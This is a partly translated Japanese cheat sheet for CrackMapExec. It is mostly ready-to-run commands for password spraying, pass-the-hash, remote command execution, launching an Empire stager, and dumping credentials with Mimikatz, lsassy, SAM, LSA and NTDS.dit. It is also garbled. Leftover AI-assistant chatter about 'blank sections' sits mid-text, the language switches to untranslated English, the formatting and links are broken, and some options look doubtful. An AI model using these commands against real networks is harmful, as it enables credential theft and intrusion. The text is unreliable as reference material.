CrackMapExec チートシート
概要
CrackMapExec (CME) は、Windows/Active Directory環境におけるペネトレーションテストとレッドチーム作業のための事後対応ツールです。ネットワークペネトレーションテストのための「スイスアーミーナイフ」と表現されることが多く、複数のプロトコルを介した列挙、認証情報テスト、コマンド実行を可能にします。
⚠️ 警告: CrackMapExecは、明示的な許可がある環境でのみ使用すべきセキュリティテストツールです。
インストール
pipxを使用(推奨)
# Install pipx if not already installed
python3 -m pip install --user pipx
python3 -m pipx ensurepath
# Install CrackMapExec
pipx install crackmapexec
Kali Linuxの場合
sudo apt update
sudo apt install -y crackmapexec
GitHubから
git clone https://github.com/byt3bl33d3r/CrackMapExec
cd CrackMapExec
poetry install
Dockerを使用
docker pull byt3bl33d3r/crackmapexec
docker run -it --entrypoint=/bin/bash byt3bl33d3r/crackmapexec
基本的な使用方法
一般的な構文
crackmapexec <protocol> <target(s)> -u <username> -p <password> [options]
サポートされているプロトコル
smb:サーバーメッセージブロックwinrm:Windows Remote Managementldap:Lightweight Directory Access Protocolmssql:Microsoft SQL Serverssh:Secure Shellrdp:リモートデスクトッププロトコルftp:ファイル転送プロトコル
ターゲット指定
# Single target
crackmapexec smb 192.168.1.100
# Multiple targets
crackmapexec smb 192.168.1.100,192.168.1.101
# IP range
crackmapexec smb 192.168.1.1-255
# CIDR notation
crackmapexec smb 192.168.1.0/24
# From file
crackmapexec smb targets.txt
認証方法
ユーザー名とパスワード
# Single username and password
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123'
# Multiple usernames
crackmapexec smb 192.168.1.0/24 -u administrator,user1 -p 'Password123'
# Multiple passwords
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123','Welcome1'
# From files
crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt
パススルーハッシュ
# NTLM hash
crackmapexec smb 192.168.1.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# Multiple hashes
crackmapexec smb 192.168.1.0/24 -u administrator -H 'hash1' 'hash2'
# From file
crackmapexec smb 192.168.1.0/24 -u administrator -H hashes.txt
ローカル認証
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-auth
ドメイン認証
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -d DOMAIN
SMBプロトコルコマンド
基本的な列挙
# List shares
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --shares
# List logged-on users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --loggedon-users
# List domain users
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List local groups
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --local-groups
# Get domain password policy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Check for SMB signing
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
コマンド実行
Would you like me to continue with the remaining sections? I noticed that some sections (3-20) are currently blank. If you have specific text for those sections, I can translate them as well.```bash
Execute command
crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -x ‘whoami’
Execute PowerShell command
crackmapexec smb 192.168.1.0/24 -u administrator -p ‘Password123’ -X ‘$PSVersionTable’
### File Operations
```bash
# List files in share
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --spider C$ --pattern '*.txt'
# Download file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --get-file 'C:\temp\file.txt' /tmp/file.txt
# Upload file
crackmapexec smb 192.168.1.100 -u administrator -p 'Password123' --put-file /tmp/file.txt 'C:\temp\file.txt'
WinRM Protocol Commands
Basic Enumeration
# Check WinRM access
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123'
Command Execution
# Execute command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -x 'whoami'
# Execute PowerShell command
crackmapexec winrm 192.168.1.0/24 -u administrator -p 'Password123' -X '$PSVersionTable'
LDAP Protocol Commands
Basic Enumeration
# Get domain information
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --domain
# List domain users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --users
# List domain groups
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --groups
# List domain computers
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --computers
# Get domain password policy
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --pass-pol
# Get domain trusts
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusts
Advanced Enumeration
# Search for specific attributes
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M maq -o ATTRIBUTES=description
# Search for unconstrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --trusted-for-delegation
# Search for constrained delegation
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --allowed-to-delegate
# Search for ASREP roastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --asreproast output.txt
# Search for kerberoastable users
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' --kerberoasting output.txt
MSSQL Protocol Commands
Basic Enumeration
# Check MSSQL access
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123'
# List databases
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT name FROM master.dbo.sysdatabases'
Command Execution
# Execute command
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -x 'whoami'
# Execute query
crackmapexec mssql 192.168.1.0/24 -u sa -p 'Password123' -q 'SELECT @@version'
Module Usage
Module Management
# List available modules
crackmapexec <protocol> --list-modules
# Get module options
crackmapexec <protocol> -M <module> --options
# Use module
crackmapexec <protocol> <target> -u <username> -p <password> -M <module> -o OPTION1=value1 OPTION2=value2
Common Modules
Mimikatz
# Dump credentials
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='sekurlsa::logonpasswords'
# Get LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::secrets'
# Get SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::sam'
# Get DCSync
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M mimikatz -o COMMAND='lsadump::dcsync /domain:domain.local /user:krbtgt'
Empire
# Generate Empire stager
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M empire_exec -o LISTENER=http
PowerView
# Run PowerView commands
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M powerview -o COMMAND='Get-NetDomain'
BloodHound
# Collect BloodHound data
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M bloodhound -o COLLECTION=All
Lsassy
# Dump credentials using lsassy
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M lsassy
Enum_DNS
# Enumerate DNS records
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' -M enum_dns
GOAD
# Get objects and attributes from domain
crackmapexec ldap 192.168.1.0/24 -u administrator -p 'Password123' -M goad
Advanced Techniques
Password Spraying
# Spray single password against multiple users
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!'
# Spray multiple passwords against single user
crackmapexec smb 192.168.1.0/24 -u administrator -p passwords.txt
# Spray with jitter to avoid lockouts
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Spring2023!' --continue-on-success --fail-limit 1 --jitter 10
Credential Harvesting
# Dump SAM database
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --sam
# Dump LSA secrets
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --lsa
# Dump NTDS.dit
crackmapexec smb 192.168.1.0/24 -u administrator -p 'Password123' --ntds
Database Operations
Initialize Database
crackmapexec smb 192.168.1.0/24 --database
View Database
# List hosts
crackmapexec smb --database -L
# List credentials
crackmapexec smb --database -C
# Use credentials from database
crackmapexec smb 192.168.1.0/24 --database -id 1
Common Options
| オプション | 説明 |
|---|---|
-h, --help | ヘルプメッセージを表示して終了する |
-t THREADS | 並行スレッドの数を設定 (デフォルト: 100) |
--timeout TIMEOUT | 接続のタイムアウトを設定(デフォルト: 5秒) |
--verbose | 詳細な出力を有効にする |
--debug | デバッグ出力を有効にする |
--continue-on-success | 認証の成功後も認証の試行を継続する |
--no-bruteforce | ブルートフォースは使用せず、提供された認証情報のみを使用する |
--fail-limit LIMIT | ホストでログイン試行を諦めるまでの失敗回数 |
--jitter JITTER | 認証試行間にランダムな遅延を追加(秒単位) |
--local-auth | ドメインではなくローカルアカウントを使用して認証する |
-d, --domain DOMAIN | 認証するドメイン |
--no-output | 出力を表示しない |
--output-file FILE | ファイルに出力を書き込む |
--log | ファイルへのログ記録を有効にする(デフォルト: ~/.cme/logs/) |
| オプション | 説明 |
|---|---|
--shares | 利用可能な共有を一覧表示 |
--sessions | アクティブセッションを一覧表示 |
--disks | ディスクを一覧表示 |
--loggedon-users | ログオンしているユーザーの一覧 |
--users | ドメインユーザーを一覧表示 |
--groups | ドメイングループを一覧表示 |
--local-groups | ローカルグループを一覧表示 |
--pass-pol | パスワードポリシーを取得 |
--rid-brute [MAX_RID] | RIDをブルートフォースすることでユーザーを列挙する |
--sam | SAMハッシュをダンプする |
--lsa | Dump LSA secrets |
--ntds | NTDS.ditをダンプ |
--exec-method \\{smbexec,wmiexec,mmcexec,atexec\\} | コマンドを実行する方法 |
| オプション | 説明 |
|---|---|
--users | ドメインユーザーを一覧表示 |
--groups | ドメイングループを一覧表示 |
--computers | ドメインコンピューターを一覧表示 |
--domain | ドメイン情報を取得 |
--pass-pol | パスワードポリシーを取得 |
--trusts | ドメイントラストを取得 |
--asreproast [OUTFILE] | AS-REP のローストが可能なユーザーを取得 |
--kerberoasting [OUTFILE] | Kerberoastable ユーザーを取得 |
--trusted-for-delegation | ユーザー/コンピューターを制約なし委任で取得 |
--allowed-to-delegate | ユーザー/コンピューターを制約付き委任で取得 |
| オプション | 説明 |
|---|---|
--port [PORT] | WinRM ポート (デフォルト: 5985) |
--ssl | WinRMにSSLを使用する |
| オプション | 説明 |
|---|---|
--port [PORT] | MSSQL ポート (デフォルト: 1433) |
-q QUERY | SQLクエリを実行 |
| https://github.com/byt3bl33d3r/CrackMapExec- [公式GitHubリポジトリ]( | |
| https://github.com/byt3bl33d3r/CrackMapExec/wiki) |
- CrackMapExecウィキ
- CrackMapExecインストールガイド
- [CrackMapExecモジュールドキュメント](